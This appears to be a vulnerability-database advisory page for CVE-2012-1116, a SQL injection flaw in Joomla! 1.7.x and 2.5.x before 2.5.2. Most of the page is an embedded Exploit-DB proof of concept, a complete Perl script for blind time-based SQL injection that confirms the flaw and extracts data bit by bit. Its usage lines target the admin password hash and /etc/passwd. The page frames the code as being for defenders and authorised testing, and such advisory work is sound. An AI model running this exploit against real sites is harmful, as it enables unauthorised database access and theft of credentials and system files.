CVE-2012-1116

high
Published 2012-09-26 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
8.5

Description

SQL injection vulnerability in Joomla! 1.7.x and 2.5.x before 2.5.2 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36913 webapps php verified text ยท 4 KB
Colin Wong ยท 2012-03-05

Joomla! 2.5.1 - 'redirect.php' Blind SQL Injection

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/52312/info

Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

#!/usr/bin/perl
# Thu Mar 15 22:55:32 CET 2012 A. Ramos <aramosf()unsec.net>
# www.securitybydefault.com
# Joomla <2.5.1 time based sql injection - vuln by Colin Wong
# 
# using sleep() and not benchmark(), change for < mysql 5.0.12 
#
# 1.- Database name: database()
# 2.- Users data table name: (change 'joomla' for database() result) 
#   select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users"
# 3.- Admin password: (change zzz_users from previus sql query result)
#   select password from zzzz_users limit 1



use strict;
use LWP::UserAgent;
$| = 1;


my $url = $ARGV[0];
my $wtime = $ARGV[1];
my $sql = $ARGV[2];

unless ($ARGV[2]) {
 print "$0 <url> <wait time> <sql>\n";
 print "\texamples:\n";
 print "\t get admin password:\n";
 print "\t\t$0 http://host/joomla/ 3 'database()'\n";
 print "\t\t$0 http://host/joomla/ 3 'select table_name from information_schema.tables where table_schema=\"joomla\" and table_name like \"%25_users\"\'\n";
 print "\t\t$0 http://host/joomla/ 3 'select password from zzzz_users limit 1'\n";
 print "\t get file /etc/passwd\n";
 print "\t\t$0 http://host/joomla/ 3 'load_file(\"/etc/passwd\")'\n";
 exit 1;
}

my ($len,$sqldata);

my $ua = LWP::UserAgent->new;
$ua->timeout(60);
$ua->env_proxy;

my $stime = time();
my $res = $ua->get($url);
my $etime = time();
my $regrtt = $etime - $stime;
print "rtt: $regrtt secs\n";
print "vuln?: ";

my $sleep = $regrtt + $wtime;
$stime = time();
$res = $ua->get($url."/index.php/404' union select sleep($sleep) union select '1");
$etime = time();
my $rtt = $etime - $stime;
if ($rtt >= $regrtt + $wtime) { print "ok!\n"; } else { print "nope :(\n"; exit 1; }


my $lenoflen;
sub len {
 # length of length
 for (1..5) { 
  my $sql=$_[0];
  $stime = time();
  $res = $ua->get($url."/index.php/404' union select if(length(length(($sql)))=$_,sleep($wtime),null) union select '1");
  $etime = time();
  my $rtt = $etime - $stime;
  if ($rtt >= $regrtt + $wtime) {
    $lenoflen = $_;
    last;
  }
 }
 for (1..$lenoflen) {
  my $ll;
  $ll=$_;
  for (0..9) {
  my $sql=$_[0];
  $stime = time();
  $res = $ua->get($url."/index.php/404' union select if(mid(length(($sql)),$ll,1)=$_,sleep($wtime),null) union select '1");
  $etime = time();
  my $rtt = $etime - $stime;
  if ($rtt >= $regrtt + $wtime) {
    $len .= $_;
  }
  }
 }
  return $len;

}

sub data {
 my $sql = $_[0];
 my $len = $_[1];
 my ($bit, $str, @byte);
 my $high = 128;

 for (1..$len) {
   my $c=8;
   @byte="";
  my $a=$_;
  for ($bit=1;$bit<=$high;$bit*=2) {
    $stime = time();
    # select if((ord(mid((load_file("/etc/passwd")),1,1)) & 64)=0,sleep(2),null) union select '1';
    $res = $ua->get($url."/index.php/404' union select if((ord(mid(($sql),$a,1)) & $bit)=0,sleep($wtime),null) union select '1");
    $etime = time();
    my $rtt = $etime - $stime;
    if ($rtt >= $regrtt + $wtime) {
      $byte[$c]="0";
    } else { $byte[$c]="1"; }
  $c--;
  }
     $str = join("",@byte);
  print pack("B*","$str");
  } 
}

$len = len($sql);
print "$sql length: $len\n";
print "$sql data:\n\n";
data($sql,$len);

Application impact

VendorProductVersionsFixed
joomla joomlajoomla\!1.7.0
joomla joomlajoomla\!1.7.1
joomla joomlajoomla\!1.7.2
joomla joomlajoomla\!1.7.3
joomla joomlajoomla\!1.7.4
joomla joomlajoomla\!1.7.5
joomla joomlajoomla\!2.5.0
joomla joomlajoomla\!2.5.1

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.